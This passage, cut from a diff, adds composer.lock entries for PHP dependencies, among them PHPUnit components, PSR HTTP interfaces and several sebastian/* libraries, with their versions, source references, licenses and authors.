[ + "coverage", + "testing", + "xunit" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", + "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", + "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/10.1.11" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-21T15:38:30+00:00" + }, + { + "name": "phpunit/php-file-iterator", + "version": "4.1.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-file-iterator.git", + "reference": "a95037b6d9e608ba092da1b23931e537cadc3c3c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/a95037b6d9e608ba092da1b23931e537cadc3c3c", + "reference": "a95037b6d9e608ba092da1b23931e537cadc3c3c", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "FilterIterator implementation that filters files based on a list of suffixes.", + "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", + "keywords": [ + "filesystem", + "iterator" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", + "security": "https://github.com/sebastianbergmann/php-file-iterator/security/policy", + "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/4.1.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-08-31T06:24:48+00:00" + }, + { + "name": "phpunit/php-invoker", + "version": "4.0.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-invoker.git", + "reference": "f5e568ba02fa5ba0ddd0f618391d5a9ea50b06d7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-invoker/zipball/f5e568ba02fa5ba0ddd0f618391d5a9ea50b06d7", + "reference": "f5e568ba02fa5ba0ddd0f618391d5a9ea50b06d7", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "ext-pcntl": "*", + "phpunit/phpunit": "^10.0" + }, + "suggest": { + "ext-pcntl": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Invoke callables with a timeout", + "homepage": "https://github.com/sebastianbergmann/php-invoker/", + "keywords": [ + "process" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-invoker/issues", + "source": "https://github.com/sebastianbergmann/php-invoker/tree/4.0.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:56:09+00:00" + }, + { + "name": "phpunit/php-text-template", + "version": "3.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-text-template.git", + "reference": "0c7b06ff49e3d5072f057eb1fa59258bf287a748" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/0c7b06ff49e3d5072f057eb1fa59258bf287a748", + "reference": "0c7b06ff49e3d5072f057eb1fa59258bf287a748", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Simple template engine.", + "homepage": "https://github.com/sebastianbergmann/php-text-template/", + "keywords": [ + "template" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-text-template/issues", + "security": "https://github.com/sebastianbergmann/php-text-template/security/policy", + "source": "https://github.com/sebastianbergmann/php-text-template/tree/3.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-08-31T14:07:24+00:00" + }, + { + "name": "phpunit/php-timer", + "version": "6.0.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-timer.git", + "reference": "e2a2d67966e740530f4a3343fe2e030ffdc1161d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/e2a2d67966e740530f4a3343fe2e030ffdc1161d", + "reference": "e2a2d67966e740530f4a3343fe2e030ffdc1161d", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "6.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Utility class for timing", + "homepage": "https://github.com/sebastianbergmann/php-timer/", + "keywords": [ + "timer" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-timer/issues", + "source": "https://github.com/sebastianbergmann/php-timer/tree/6.0.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:57:52+00:00" + }, + { + "name": "phpunit/phpunit", + "version": "10.5.11", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/phpunit.git", + "reference": "0d968f6323deb3dbfeba5bfd4929b9415eb7a9a4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/0d968f6323deb3dbfeba5bfd4929b9415eb7a9a4", + "reference": "0d968f6323deb3dbfeba5bfd4929b9415eb7a9a4", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-json": "*", + "ext-libxml": "*", + "ext-mbstring": "*", + "ext-xml": "*", + "ext-xmlwriter": "*", + "myclabs/deep-copy": "^1.10.1", + "phar-io/manifest": "^2.0.3", + "phar-io/version": "^3.0.2", + "php": ">=8.1", + "phpunit/php-code-coverage": "^10.1.5", + "phpunit/php-file-iterator": "^4.0", + "phpunit/php-invoker": "^4.0", + "phpunit/php-text-template": "^3.0", + "phpunit/php-timer": "^6.0", + "sebastian/cli-parser": "^2.0", + "sebastian/code-unit": "^2.0", + "sebastian/comparator": "^5.0", + "sebastian/diff": "^5.0", + "sebastian/environment": "^6.0", + "sebastian/exporter": "^5.1", + "sebastian/global-state": "^6.0.1", + "sebastian/object-enumerator": "^5.0", + "sebastian/recursion-context": "^5.0", + "sebastian/type": "^4.0", + "sebastian/version": "^4.0" + }, + "suggest": { + "ext-soap": "To be able to generate mocks based on WSDL files" + }, + "bin": [ + "phpunit" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "10.5-dev" + } + }, + "autoload": { + "files": [ + "src/Framework/Assert/Functions.php" + ], + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "The PHP Unit Testing framework.", + "homepage": "https://phpunit.de/", + "keywords": [ + "phpunit", + "testing", + "xunit" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/phpunit/issues", + "security": "https://github.com/sebastianbergmann/phpunit/security/policy", + "source": "https://github.com/sebastianbergmann/phpunit/tree/10.5.11" + }, + "funding": [ + { + "url": "https://phpunit.de/sponsors.html", + "type": "custom" + }, + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpunit/phpunit", + "type": "tidelift" + } + ], + "time": "2024-02-25T14:05:00+00:00" + }, + { + "name": "psr/http-client", + "version": "1.0.3", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-client.git", + "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-client/zipball/bb5906edc1c324c9a05aa0873d40117941e5fa90", + "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90", + "shasum": "" + }, + "require": { + "php": "^7.0 || ^8.0", + "psr/http-message": "^1.0 || ^2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Client\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for HTTP clients", + "homepage": "https://github.com/php-fig/http-client", + "keywords": [ + "http", + "http-client", + "psr", + "psr-18" + ], + "support": { + "source": "https://github.com/php-fig/http-client" + }, + "time": "2023-09-23T14:17:50+00:00" + }, + { + "name": "psr/http-factory", + "version": "1.0.2", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-factory.git", + "reference": "e616d01114759c4c489f93b099585439f795fe35" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-factory/zipball/e616d01114759c4c489f93b099585439f795fe35", + "reference": "e616d01114759c4c489f93b099585439f795fe35", + "shasum": "" + }, + "require": { + "php": ">=7.0.0", + "psr/http-message": "^1.0 || ^2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Message\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interfaces for PSR-7 HTTP message factories", + "keywords": [ + "factory", + "http", + "message", + "psr", + "psr-17", + "psr-7", + "request", + "response" + ], + "support": { + "source": "https://github.com/php-fig/http-factory/tree/1.0.2" + }, + "time": "2023-04-10T20:10:41+00:00" + }, + { + "name": "psr/http-message", + "version": "2.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-message.git", + "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-message/zipball/402d35bcb92c70c026d1a6a9883f06b2ead23d71", + "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Message\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for HTTP messages", + "homepage": "https://github.com/php-fig/http-message", + "keywords": [ + "http", + "http-message", + "psr", + "psr-7", + "request", + "response" + ], + "support": { + "source": "https://github.com/php-fig/http-message/tree/2.0" + }, + "time": "2023-04-04T09:54:51+00:00" + }, + { + "name": "ralouphie/getallheaders", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/ralouphie/getallheaders.git", + "reference": "120b605dfeb996808c31b6477290a714d356e822" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822", + "reference": "120b605dfeb996808c31b6477290a714d356e822", + "shasum": "" + }, + "require": { + "php": ">=5.6" + }, + "require-dev": { + "php-coveralls/php-coveralls": "^2.1", + "phpunit/phpunit": "^5 || ^6.5" + }, + "type": "library", + "autoload": { + "files": [ + "src/getallheaders.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ralph Khattar", + "email": "ralph.khattar@gmail.com" + } + ], + "description": "A polyfill for getallheaders.", + "support": { + "issues": "https://github.com/ralouphie/getallheaders/issues", + "source": "https://github.com/ralouphie/getallheaders/tree/develop" + }, + "time": "2019-03-08T08:55:37+00:00" + }, + { + "name": "sebastian/cli-parser", + "version": "2.0.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/cli-parser.git", + "reference": "efdc130dbbbb8ef0b545a994fd811725c5282cae" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/efdc130dbbbb8ef0b545a994fd811725c5282cae", + "reference": "efdc130dbbbb8ef0b545a994fd811725c5282cae", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for parsing CLI options", + "homepage": "https://github.com/sebastianbergmann/cli-parser", + "support": { + "issues": "https://github.com/sebastianbergmann/cli-parser/issues", + "source": "https://github.com/sebastianbergmann/cli-parser/tree/2.0.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:58:15+00:00" + }, + { + "name": "sebastian/code-unit", + "version": "2.0.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/code-unit.git", + "reference": "a81fee9eef0b7a76af11d121767abc44c104e503" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/code-unit/zipball/a81fee9eef0b7a76af11d121767abc44c104e503", + "reference": "a81fee9eef0b7a76af11d121767abc44c104e503", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Collection of value objects that represent the PHP code units", + "homepage": "https://github.com/sebastianbergmann/code-unit", + "support": { + "issues": "https://github.com/sebastianbergmann/code-unit/issues", + "source": "https://github.com/sebastianbergmann/code-unit/tree/2.0.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:58:43+00:00" + }, + { + "name": "sebastian/code-unit-reverse-lookup", + "version": "3.0.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", + "reference": "5e3a687f7d8ae33fb362c5c0743794bbb2420a1d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/5e3a687f7d8ae33fb362c5c0743794bbb2420a1d", + "reference": "5e3a687f7d8ae33fb362c5c0743794bbb2420a1d", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Looks up which function or method a line of code belongs to", + "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", + "support": { + "issues": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/issues", + "source": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/tree/3.0.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:59:15+00:00" + }, + { + "name": "sebastian/comparator", + "version": "5.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/comparator.git", + "reference": "2db5010a484d53ebf536087a70b4a5423c102372" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/2db5010a484d53ebf536087a70b4a5423c102372", + "reference": "2db5010a484d53ebf536087a70b4a5423c102372", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-mbstring": "*", + "php": ">=8.1", + "sebastian/diff": "^5.0", + "sebastian/exporter": "^5.0" + }, + "require-dev": { + "phpunit/phpunit": "^10.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "5.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@2bepublished.at" + } + ], + "description": "Provides the functionality to compare PHP values for equality", + "homepage": "https://github.com/sebastianbergmann/comparator", + "keywords": [ + "comparator", + "compare", + "equality" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/comparator/issues", + "security": "https://github.com/sebastianbergmann/comparator/security/policy", + "source": "https://github.com/sebastianbergmann/comparator/tree/5.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-08-14T13:18:12+00:00" + }, + { + "name": "sebastian/complexity", + "version": "3.2.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/complexity.git", + "reference": "68ff824baeae169ec9f2137158ee529584553799" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/68ff824baeae169ec9f2137158ee529584553799", + "reference": "68ff824baeae169ec9f2137158ee529584553799", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.2-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for calculating the complexity of PHP code units", + "homepage": "https://github.com/sebastianbergmann/complexity", + "support": { + "issues": "https://github.com/sebastianbergmann/complexity/issues", + "security": "https://github.com/sebastianbergmann/complexity/security/policy", + "source": "https://github.com/sebastianbergmann/complexity/tree/3.2.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-21T08:37:17+00:00" + }, + { + "name": "sebastian/environment", + "version": "6.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/environment.git", + "reference": "43c751b41d74f96cbbd4e07b7aec9675651e2951" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/43c751b41d74f96cbbd4e07b7aec9675651e2951", + "reference": "43c751b41d74f96cbbd4e07b7aec9675651e2951", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "suggest": { + "ext-posix": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "6.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Provides functionality to handle HHVM/PHP environments", + "homepage": "https://github.com/sebastianbergmann/environment", + "keywords": [ + "Xdebug", + "environment", + "hhvm" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/environment/issues", + "security": "https://github.com/sebastianbergmann/environment/security/policy", + "source": "https://github.com/sebastianbergmann/environment/tree/6.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-04-11T05:39:26+00:00" + }, + { + "name": "sebastian/exporter", + "version": "5.1.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/exporter.git", + "reference": "64f51654862e0f5e318db7e9dcc2292c63cdbddc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/64f51654862e0f5e318db7e9dcc2292c63cdbddc", + "reference": "64f51654862e0f5e318db7e9dcc2292c63cdbddc", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "php": ">=8.1", + "sebastian/recursion-context": "^5.0" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "5.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@gmail.com" + } + ], + "description": "Provides the functionality to export PHP variables for visualization", + "homepage": "https://www.github.com/sebastianbergmann/exporter", + "keywords": [ + "export", + "exporter" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/exporter/issues", + "security": "https://github.com/sebastianbergmann/exporter/security/policy", + "source": "https://github.com/sebastianbergmann/exporter/tree/5.1.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-09-24T13:22:09+00:00" + }, + { + "name": "sebastian/global-state", + "version": "6.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/global-state.git", + "reference": "7ea9ead78f6d380d2a667864c132c2f7b83055e4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/7ea9ead78f6d380d2a667864c132c2f7b83055e4", + "reference": "7ea9ead78f6d380d2a667864c132c2f7b83055e4", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "sebastian/object-reflector": "^3.0", + "sebastian/recursion-context": "^5.0" + }, + "require-dev": { + "ext-dom": "*", + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "6.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Snapshotting of global state", + "homepage": "http://www.github.com/sebastianbergmann/global-state", + "keywords": [ + "global state" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/global-state/issues", + "security": "https://github.com/sebastianbergmann/global-state/security/policy", + "source": "https://github.com/sebastianbergmann/global-state/tree/6.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-07-19T07:19:23+00:00" + }, + { + "name": "sebastian/lines-of-code", + "version": "2.0.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/lines-of-code.git", + "reference": "856e7f6a75a84e339195d48c556f23be2ebf75d0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/856e7f6a75a84e339195d48c556f23be2ebf75d0", + "reference": "856e7f6a75a84e339195d48c556f23be2ebf75d0", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for counting the lines of code in PHP source code", + "homepage": "https://github.com/sebastianbergmann/lines-of-code", + "support": { + "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", + "security": "https://github.com/sebastianbergmann/lines-of-code/security/policy", + "source": "https://github.com/sebastianbergmann/lines-of-code/tree/2.0.2" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-21T08:38:20+00:00" + }, + { + "name": "sebastian/object-enumerator", + "version": "5.0.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-enumerator.git", + "reference": "202d0e344a580d7f7d04b3fafce6933e59dae906" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/202d0e344a580d7f7d04b3fafce6933e59dae906", + "reference": "202d0e344a580d7f7d04b3fafce6933e59dae906", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "sebastian/object-reflector": "^3.0", + "sebastian/recursion-context": "^5.0" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "5.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Traverses array structures and object graphs to enumerate all referenced objects", + "homepage": "https://github.com/sebastianbergmann/object-enumerator/", + "support": { + "issues": "https://github.com/sebastianbergmann/object-enumerator/issues", + "source": "https://github.com/sebastianbergmann/object-enumerator/tree/5.0.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T07:08:32+00:00" + }, + { + "name": "sebastian/object-reflector", + "version": "3.0.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-reflector.git", + "reference": "24ed13d98130f0e7122df55d06c5c4942a577957" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/24ed13d98130f0e7122df55d06c5c4942a577957", + "reference": "24ed13d98130f0e7122df55d06c5c4942a577957", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Allows reflection of object attributes, including inherited and non-public ones", + "homepage": "https://github.com/sebastianbergmann/object-reflector/", + "support": { + "issues": "https://github.com/sebastianbergmann/object-reflector/issues", + "source": "https://github.com/sebastianbergmann/object-reflector/tree/3.0.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T07:06:18+00:00" + }, + { + "name": "sebastian/recursion-context", + "version": "5.0.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/recursion-context.git", + "reference": "05909fb5bc7df4c52992396d0116aed689f93712" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/05909fb5bc7df4c52992396d0116aed689f93712", + "reference": "05909fb5bc7df4c52992396d0116aed689f93712", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "5.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + } + ], + "description": "Provides functionality to recursively process PHP variables", + "homepage": "https://github.com/sebastianbergmann/recursion-context", + "support": { + "issues": "https://github.com/sebastianbergmann/recursion-context/issues", + "source": "https://github.com/sebastianbergmann/recursion-context/tree/5.0.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T07:05:40+00:00" + }, + { + "name": "sebastian/type", + "version": "4.0.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/type.git", + "reference": "462699a16464c3944eefc02ebdd77882bd3925bf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/462699a16464c3944eefc02ebdd77882bd3925bf", + "reference": "462699a16464c3944eefc02ebdd77882bd3925bf", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Collection of value objects that represent the types of the PHP type system", + "homepage": "https://github.com/sebastianbergmann/type", + "support": { + "issues": 